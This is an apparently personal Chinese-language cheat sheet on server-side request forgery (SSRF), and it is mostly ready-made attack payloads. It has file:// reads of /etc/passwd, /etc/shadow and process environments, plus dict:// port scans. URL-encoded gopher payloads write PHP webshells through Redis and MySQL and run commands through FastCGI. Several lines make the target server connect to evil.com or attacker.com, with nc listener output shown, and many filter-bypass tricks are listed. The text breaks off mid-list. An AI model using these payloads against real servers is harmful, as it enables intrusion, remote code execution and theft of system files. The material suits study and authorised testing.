SSRF
概念:攻击者通过该漏洞可以利用服务器端的应用程序发起伪造的请求,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。因此可以绕过一些基于网络拓扑的安全防护。
注入点:
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain。
入口函数:
file_get_contents():用于获取指定 URL 的内容,然后指定一个文件名进行保存,并展示给用户。会把一个字符串写入文件中。如果用户可以控制 URL 参数,攻击者可以构造恶意 URL,使服务器访问内网服务、读取本地文件或攻击其他服务器。
//http://example.com/ssrf.php?url=file:///etc/passwd
//http://example.com/ssrf.php?url=http://192.168.1.100:6379
fsockopen():用于打开一个网络连接或 Unix 套接字连接。如果用户可以控制主机名和端口参数,攻击者可以利用该函数访问内网服务或本地资源。
//http://example.com/ssrf.php?host=192.168.1.100&port=22
curl_exec():用于执行一个 cURL 会话。如果用户可以控制 URL 参数,攻击者可以利用该函数访问内网服务、读取本地文件或攻击其他服务器。
//http://example.com/ssrf.php?url=http://192.168.1.100:6379
//http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_POST%20/ssrf.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a
利用:
内网访问:
?url=http://127.0.0.1/flag.php
伪协议读取文件:
?url=file:///var/www/html/flag.php
端口扫描:
?url=dict://127.0.0.1:8000
发送POST请求,攻击内网中的应用:
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=a68a3b03e80ce7fef96007dfa01dc077
攻击FastCGI协议,实现代码执行:
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=a68a3b03e80ce7fef96007dfa01dc077
攻击Redis服务,实现代码执行:
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
绕过:
ip格式转换:
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
@:
http://8.8.8.8@127.0.0.1:8080 //@前作为用户信息被忽略
http://127.0.0.1#8.8.8.8 //#后作为url片段不发送出去
利用[::]:
IPv6 地址 ::1 也可以表示 localhost
http://[::1]:80/ 或 http://[::]:80/ 可以被解析为 localhost,从而绕过对 127.0.0.1 的过滤。
利用短网址:
短网址服务通过将长网址压缩成短网址,实现快速访问。在SSRF漏洞利用中,攻击者可以利用短网址服务的特性,将目标地址(如内网服务地址)隐藏在短网址后面,从而绕过目标服务器对特定URL的过滤。
利用特殊域名:
原理是DNS解析。xip.io可以指向任意域名
127.0.0.1.xip.io,可解析为127.0.0.1
利用句号:
127。0。0。1 >>> 127.0.0.1
302跳转:
可以利用302跳转,将目标服务器的请求重定向到内网地址或其他受限地址,从而绕过对特定URL的过滤。
DNS重绑定:
略
利用封闭字母数字:
封闭字母数字(Enclosed Alphanumerics)是一组特殊的 Unicode 字符,这些字符在某些情况下可以被浏览器或解析器识别为普通的字母数字字符。利用这些字符可以绕过对特定域名或IP地址的过滤。
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://127.0.0.1>>>http://①②⑦。⓪。⓪。①
List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
伪协议plus:
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
file:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
路径遍历:结合路径遍历技术访问任意文件
http://target.com/fetch?url=file:///var/www/html/../../../etc/shadow
特殊文件访问:访问特殊文件获取系统信息
http://target.com/fetch?url=file:///proc/self/environ
http://target.com/fetch?url=file:///proc/self/cmdline
目录列表:某些实现可能允许列出目录内容
http://target.com/fetch?url=file:///var/www/html/
dict:
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
dict:// 协议是一种基于 TCP 的字典查询协议,定义于 RFC 2229(1997 年),用于客户端向字典服务器查询单词定义、同义词、词性等语言学信息
格式:dict://<host>[:<port>]/[<database>:]<word>
dict://127.0.0.1:22/:若返回 SSH banner(如 SSH-2.0-OpenSSH),说明 SSH 开放
dict://127.0.0.1:25/:返回 220 mail.example.com → 存在邮件服务
dict://127.0.0.1:6379/:返回 -ERR unknown command 'CLIENT' → 确认是 Redis
dict://127.0.0.1:3306/:返回 MySQL 协议包(乱码)→ MySQL 开放
dict://192.168.1.100:8080/:若返回 HTTP 响应 → 存在内网管理后台
http://example.com/ssrf.php?dict://evil.com:1337/:让服务器向攻击机对应端口发起连接
nc显示:
$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
Redis命令执行:利用dict协议与Redis服务交互
http://target.com/fetch?url=dict://192.168.1.10:6379/info //infp获取服务器信息
http://target.com/fetch?url=dict://192.168.1.10:6379/CONFIG SET dir /var/www/html/
http://target.com/fetch?url=dict://192.168.1.10:6379/SET webshell "<?php @eval($_POST['cmd']); ?>"
Memcached数据提取:访问Memcached服务获取缓存数据
http://target.com/fetch?url=dict://192.168.1.10:11211/stats
sftp:
SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
格式:sftp://[user[:pass]@]host[:port]/path
例:sftp://admin:123456@192.168.1.100:22/etc/passwd
sftp://127.0.0.1:22/:若返回 SSH banner(如 SSH-2.0-OpenSSH)→ 说明 SSH 开放
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
ldap://或ldaps:// 或ldapi://:
LDAP代表轻量级目录访问协议,常用于身份认证。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
ldap://:端口389
ldaps://:端口636
http://example.com/ssrf.php?url=ldap://192.168.1.10:389/:确认内网是否存在 Active Directory
ldap://dc.internal:389/cn=admin,dc=example,dc=com?cn:尝试读取 LDAP 条目
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
//确认 1337 端口开放,后续再用 gopher:// 发送真正的 Memcached 命令
LDAP注入:结合LDAP注入技术获取目录信息
http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com??sub?(uid=*)
LDAP绑定操作:尝试使用不同凭证进行LDAP绑定
tftp://:
tftp://:用于内网文件读取(有限)和服务探测,但其能力受限于TFTP协议本身的简单性和无认证机制。
http://example.com/ssrf.php?url=tftp://192.168.1.100/running-config:若文件存在且可读 → 内容回显到页面
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET:让服务器向evil.com:1337发起连接
gopher://:
gopher://:一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。能构造任意 TCP payload
格式:gopher://<host>:<port>/_<URL_ENCODED_RAW_TCP_PAYLOAD>
//_ 是 gopher 的“请求类型”标识符(type=1 表示返回文本)
//<payload> 是 URL 编码后的原始 TCP 数据流
//换行符必须编码为 %0D%0A(rn)
gopher://127.0.0.1:6379/_SET%20webshell%20%22%5Cn%3C%3Fphp%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A
//发送 Redis 协议命令:
//SET webshell "n<?php system($_REQUEST['cmd']);?>"
//CONFIG SET dir /var/www/html
//CONFIG SET dbfilename shell.php
//SAVE
或
http://target.com/fetch?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
//写入Webshell到网站目录
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH999%0E%04REQUEST_METHODPOST%09%4BPHP_VALUEauto_prepend_file%3Dphp%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%03%EB%04%00%3C%3Fphp%20system%28%22id%22%29%3Bdie%28%22-----Made-by-SpyD3r-----%5Cn%22%29%3B%3F%3E%00%00%00%00
//通过 PHP_VALUE 覆盖配置,执行 php://input
//可替换 system("id") 为任意命令
gopher://127.0.0.1:3306/_%00%00%00%01%85%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%14%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%79%73%71%6c%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0......(此处省略大量认证包)......%00%00%00%03%73%65%6c%65%63%74%20%27%3C%3F%70%68%70%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%79%73%71%6c%2e%70%68%70%27%3b%00%00%00%00
//写入 Webshell 到 /var/www/html/mysql.php
//需MySQL root 权限 + secure_file_priv 为空
gopher://127.0.0.1:5000/_GET%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A5000%0D%0AUser-Agent%3A%20ssrf-test%0D%0AAccept%3A%20*/*%0D%0A%0D%0A
//GET / HTTP/1.1
//Host: 127.0.0.1:5000
//User-Agent: ssrf-test
//Accept: */*
SMTP邮件发送:通过SMTP服务发送邮件
http://target.com/fetch?url=gopher://192.168.1.10:25/xHELO%20localhost%0D%0AMAIL%20FROM%3A%3Cattacker%40example.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40example.com%3E%0D%0ADATA%0D%0ASubject%3A%20Test%0D%0AThis%20is%20a%20test%0D%0A.%0D%0AQUIT
ftp:
用于与FTP服务器交互:
http://target.com/fetch?url=ftp://user:pass@192.168.1.10/
FTP主动模式利用:在某些情况下,可以利用FTP主动模式进行端口扫描
FTP命令注入:在某些实现中,可能存在FTP命令注入的可能性
其他:
jar协议:访问Java归档文件
http://target.com/fetch?url=jar:http://attacker.com/malicious.jar!/
netdoc协议:Java特有协议,可用于文件访问
http://target.com/fetch?url=netdoc:/etc/passwd
data协议:直接在URL中嵌入数据
http://target.com/fetch?url=data:text/plain,Hello%20World
协议过滤绕过:
协议嵌套:在允许的协议中嵌套其他协议:
http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd
URL重定向:利用重定向从http跳转到其他协议:
# evil.com设置重定向到file:///etc/passwd
http://target.com/fetch?url=http://evil.com/redirect
协议大小写混合:某些解析器对协议大小写不敏感:
http://target.com/fetch?url=Http://internal/
http://target.com/fetch?url=https://internal/
协议相对URL:使用协议相对URL(//)继承当前页面协议:
http://target.com/fetch?url=//internal/
过滤器绕过技术:
双重URL编码:绕过单次解码的过滤器:
http://target.com/fetch?url=http://%252F%252Finternal/
空字节注入:在某些语言实现中,可以使用空字节截断字符串:
http://target.com/fetch?url=http://allowed-domain.com%00internal/
路径规范化差异:利用不同系统路径规范化的差异:
http://target.com/fetch?url=http://internal/./././admin
参数污染:提供多个同名参数,混淆过滤逻辑:
http://target.com/fetch?url=http://allowed.com&url=http://internal/
HTTP头注入:在某些实现中,可以通过注入HTTP头影响请求目标: